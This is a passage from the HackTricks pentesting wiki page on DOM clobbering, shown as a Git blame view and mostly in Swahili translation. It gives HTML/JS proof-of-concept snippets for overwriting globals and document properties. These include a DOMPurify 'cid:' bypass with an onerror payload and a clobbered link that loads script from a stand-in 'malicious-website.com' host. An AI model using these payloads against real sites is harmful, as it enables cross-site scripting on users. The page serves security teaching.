hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering.md

226 lines
12 KiB
Markdown
Raw Normal View History

2022-10-13 00:56:34 +00:00
# Dom Clobbering
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-10-13 00:56:34 +00:00
<details>
<summary>Support HackTricks</summary>
2022-10-13 00:56:34 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-10-13 00:56:34 +00:00
</details>
{% endhint %}
2022-10-13 00:56:34 +00:00
2024-02-11 02:13:58 +00:00
## **Misingi**
2023-03-03 15:39:23 +00:00
Inawezekana kuunda **vigezo vya kimataifa ndani ya muktadha wa JS** kwa kutumia sifa **`id`** na **`name`** katika vitambulisho vya HTML.
2023-03-03 15:39:23 +00:00
```html
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
```
**Tu** vipengele fulani vinaweza kutumia **sifa ya jina** kuclobber globals, ni: `embed`, `form`, `iframe`, `image`, `img` na `object`.
2023-03-03 15:39:23 +00:00
Kwa kushangaza, unapokuwa unatumia **kipengele cha fomu** ku **clobber** kiambato, utapata **`toString`** thamani ya kipengele chenyewe: `[object HTMLFormElement]` lakini kwa **kiungo** **`toString`** itakuwa **`href`** ya kiungo. Hivyo, ikiwa unaclobber kwa kutumia **`a`** tag, unaweza **kontrol** **thamani** wakati inachukuliwa kama **string**:
2023-03-03 15:39:23 +00:00
```html
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
```
### Arrays & Attributes
2023-03-03 15:39:23 +00:00
Ni pia inawezekana **kuharibu array** na **sifa za kitu**:
2023-03-03 15:39:23 +00:00
```html
<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
```
Ili kuharibu **sifa ya 3rd** (mfano x.y.z), unahitaji kutumia **`form`**:
2023-03-03 15:39:23 +00:00
```html
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>
```
Clobbering zaidi ya sifa ni **ngumu zaidi lakini bado inawezekana**, kutumia iframes:
2023-03-03 15:39:23 +00:00
```html
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
```
{% hint style="warning" %}
Tag ya style inatumika **kutoa muda wa kutosha kwa iframe kuonyesha**. Bila yake utaona arifa ya **undefined**.
2023-03-03 15:39:23 +00:00
{% endhint %}
Ili kuharibu sifa za ndani zaidi, unaweza kutumia **iframes zenye uandishi wa html** hivi:
2023-03-03 15:39:23 +00:00
```html
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>
```
### **Kupita Kichujio**
2023-03-03 15:39:23 +00:00
Ikiwa kichujio kina **zunguka** kupitia **mali** za nodi kwa kutumia kitu kama `document.getElementByID('x').attributes` unaweza **kuharibu** mali **`.attributes`** na **kuvunja kichujio**. Mali nyingine za DOM kama **`tagName`**, **`nodeName`** au **`parentNode`** na zaidi pia zinaweza **kuharibiwa**.
2023-03-03 15:39:23 +00:00
```html
<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
```
## **Clobbering `window.someObject`**
2023-03-03 15:39:23 +00:00
Katika JavaScript ni kawaida kukutana na:
2023-03-03 15:39:23 +00:00
```javascript
var someObject = window.someObject || {};
```
Kuhariri HTML kwenye ukurasa kunaruhusu kubadilisha `someObject` na nodi ya DOM, ambayo inaweza kuleta udhaifu wa usalama. Kwa mfano, unaweza kubadilisha `someObject` na kipengele cha kiungo kinachorejelea skripti mbaya:
2022-10-13 00:56:34 +00:00
```html
2024-02-06 03:10:27 +00:00
<a id=someObject href=//malicious-website.com/malicious.js></a>
2022-10-13 00:56:34 +00:00
```
Katika msimbo unaoweza kuathiriwa kama:
2023-03-03 15:39:23 +00:00
```html
2024-02-06 03:10:27 +00:00
<script>
2024-02-11 02:13:58 +00:00
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
2024-02-06 03:10:27 +00:00
</script>
2023-03-03 15:39:23 +00:00
```
This method exploits the script source to execute unwanted code.
2022-10-13 00:56:34 +00:00
**Trick**: **`DOMPurify`** allows you to use the **`cid:`** protocol, which **does not URL-encode double-quotes**. This means you can **inject an encoded double-quote that will be decoded at runtime**. Therefore, injecting something like **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** will make the HTML encoded `&quot;` to be **decoded on runtime** and **escape** from the attribute value to **create** the **`onerror`** event.
2022-10-13 00:56:34 +00:00
Another technique uses a **`form`** element. Certain client-side libraries inspect the attributes of a newly created form element to clean them. However, by adding an `input` with `id=attributes` inside the form, you effectively overwrite the attributes property, preventing the sanitizer from accessing the actual attributes.
2022-10-13 00:56:34 +00:00
You can [**find an example of this type of clobbering in this CTF writeup**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
2022-10-13 00:56:34 +00:00
## Clobbering document object
2022-10-13 00:56:34 +00:00
According to the documentation it's possible to overwrite attributes of the document object using DOM Clobbering:
2022-10-13 00:56:34 +00:00
> The [Document](https://html.spec.whatwg.org/multipage/dom.html#document) interface [supports named properties](https://webidl.spec.whatwg.org/#dfn-support-named-properties). The [supported property names](https://webidl.spec.whatwg.org/#dfn-supported-property-names) of a [Document](https://html.spec.whatwg.org/multipage/dom.html#document) object document at any moment consist of the following, in [tree order](https://dom.spec.whatwg.org/#concept-tree-order) according to the element that contributed them, ignoring later duplicates, and with values from [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) attributes coming before values from name attributes when the same element contributes both:
2022-10-13 00:56:34 +00:00
>
> \- The value of the name content attribute for all [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), and [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elements that have a non-empty name content attribute and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root);\
2022-10-13 00:56:34 +00:00
> \
> \- The value of the [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute for all [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elements that have a non-empty [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root);\
2022-10-13 00:56:34 +00:00
> \
> \- The value of the [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute for all [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) elements that have both a non-empty [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute and a non-empty name content attribute, and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root).
2022-10-13 00:56:34 +00:00
Using this technique you can overwrite commonly used **values such as `document.cookie`, `document.body`, `document.children`**, and even methods in the Document interface like `document.querySelector`.
2022-10-13 00:56:34 +00:00
```javascript
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
```
## Kuandika baada ya kipengele kilichoharibiwa
2022-10-13 00:56:34 +00:00
Matokeo ya wito kwa **`document.getElementById()`** na **`document.querySelector()`** yanaweza kubadilishwa kwa kuingiza tagi ya `<html>` au `<body>` yenye sifa ya id sawa. Hapa kuna jinsi inavyoweza kufanywa:
2022-12-20 11:25:07 +00:00
```html
2024-02-06 03:10:27 +00:00
<div style="display:none" id="cdnDomain" class="x">test</div>
2022-12-20 11:25:07 +00:00
<p>
2024-02-06 03:10:27 +00:00
<html id="cdnDomain" class="x">clobbered</html>
2022-12-20 11:25:07 +00:00
<script>
2024-02-06 03:10:27 +00:00
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
2022-12-20 11:25:07 +00:00
</script>
```
Zaidi ya hayo, kwa kutumia mitindo kuficha hizi lebo za HTML/body zilizoongezwa, kuingiliwa na maandiko mengine katika `innerText` kunaweza kuzuiwa, hivyo kuboresha ufanisi wa shambulio:
2022-12-20 11:25:07 +00:00
```html
2024-02-06 03:10:27 +00:00
<div style="display:none" id="cdnDomain">test</div>
2022-12-20 11:25:07 +00:00
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
2024-02-06 03:10:27 +00:00
alert(document.getElementById('cdnDomain').innerText); // Clobbered
2022-12-20 11:25:07 +00:00
</script>
```
Uchunguzi wa SVG ulibaini kwamba tag `<body>` pia inaweza kutumika kwa ufanisi:
2022-12-20 11:25:07 +00:00
```html
2024-02-06 03:10:27 +00:00
<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
2022-12-20 11:25:07 +00:00
<script>
2024-02-06 03:10:27 +00:00
alert(document.getElementById('cdnDomain').innerText); // Clobbered
2022-12-20 11:25:07 +00:00
</script>
```
Ili tag ya HTML ifanye kazi ndani ya SVG katika vivinjari kama Chrome na Firefox, tag ya `<foreignobject>` inahitajika:
2022-12-20 11:25:07 +00:00
```html
2024-02-06 03:10:27 +00:00
<div style="display:none" id="cdnDomain">example.com</div>
2022-12-20 11:25:07 +00:00
<svg>
<foreignobject>
2024-02-06 03:10:27 +00:00
<html id="cdnDomain">clobbered</html>
2022-12-20 11:25:07 +00:00
</foreignobject>
</svg>
<script>
2024-02-06 03:10:27 +00:00
alert(document.getElementById('cdnDomain').innerText); // Clobbered
2022-12-20 11:25:07 +00:00
</script>
```
## Clobbering Forms
2022-12-20 11:25:07 +00:00
Inawezekana kuongeza **ingizo jipya ndani ya fomu** kwa ku **ainisha sifa ya `form`** ndani ya baadhi ya lebo. Unaweza kutumia hii ku **ongeza thamani mpya ndani ya fomu** na hata kuongeza **kitufe kipya** cha **kutuma** (clickjacking au kutumia baadhi ya msimbo wa JS `.click()`):
2023-02-20 09:58:12 +00:00
{% code overflow="wrap" %}
```html
<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
```
{% endcode %}
* Kwa maelezo zaidi kuhusu sifa za fomu katika [**button angalia hii**](https://www.w3schools.com/tags/tag\_button.asp)**.**
2023-02-20 09:58:12 +00:00
2024-02-11 02:13:58 +00:00
## Marejeo
2022-12-20 11:25:07 +00:00
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
2024-02-06 03:10:27 +00:00
* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
* Heyes, Gareth. JavaScript kwa wahacker: Jifunze kufikiri kama mhacker.
{% hint style="success" %}
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-12-20 11:25:07 +00:00
2022-10-13 00:56:34 +00:00
<details>
<summary>Support HackTricks</summary>
2022-10-13 00:56:34 +00:00
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za uhacker kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-10-13 00:56:34 +00:00
</details>
{% endhint %}